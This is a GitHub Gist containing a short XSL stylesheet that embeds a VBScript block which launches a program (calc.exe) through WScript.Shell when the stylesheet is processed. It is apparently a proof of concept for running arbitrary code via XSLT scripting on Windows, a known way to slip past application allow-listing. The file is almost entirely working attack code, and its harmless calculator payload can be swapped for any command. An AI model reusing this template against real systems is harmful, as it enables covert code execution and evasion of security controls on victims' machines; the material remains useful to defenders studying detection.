Last active
December 24, 2022 00:12
-
-
Save enigma0x3/08bb53a4e2432e99ed5c134d0943d3b2 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<xsl:stylesheet version="1.0" | |
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" | |
xmlns:msxsl="urn:schemas-microsoft-com:xslt" | |
xmlns:user="urn:my-scripts"> | |
<msxsl:script language="VBScript" implements-prefix="user"> | |
function myFunction() | |
set shell=createobject("wscript.shell") | |
shell.run "calc.exe",0 | |
myFunction = 0 | |
end function | |
</msxsl:script> | |
<xsl:template match="/"> | |
<xsl:value-of select="user:myFunction()"/> | |
</xsl:template> | |
</xsl:stylesheet> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment